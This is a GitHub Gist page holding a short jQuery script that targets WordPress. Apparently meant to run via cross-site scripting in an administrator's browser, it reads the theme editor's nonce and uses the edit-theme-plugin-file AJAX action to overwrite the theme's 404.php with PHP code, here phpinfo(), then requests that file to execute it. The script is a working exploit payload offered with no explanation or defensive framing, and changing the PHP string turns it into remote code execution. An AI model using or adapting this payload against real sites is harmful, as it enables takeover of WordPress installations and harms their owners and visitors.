Created
December 22, 2020 14:36
-
-
Save numanturle/e38ab0c6ad13aec9398ab033d0194d47 to your computer and use it in GitHub Desktop.
wordpress
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| jQuery.get("/wordpress/wp-admin/theme-editor.php?file=404.php",function(data){ | |
| var parsed = jQuery.parseHTML(data); | |
| var noncem = jQuery("#nonce").val(); | |
| var themem = jQuery("#theme").val(); | |
| jQuery.post( "/wordpress/wp-admin/admin-ajax.php", { nonce: noncem, newcontent: "<?php phpinfo(); ?>",action: "edit-theme-plugin-file",theme: themem, file:"404.php" } ); | |
| jQuery.get("/wordpress/wp-content/themes/"+themem+"/404.php"); | |
| }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment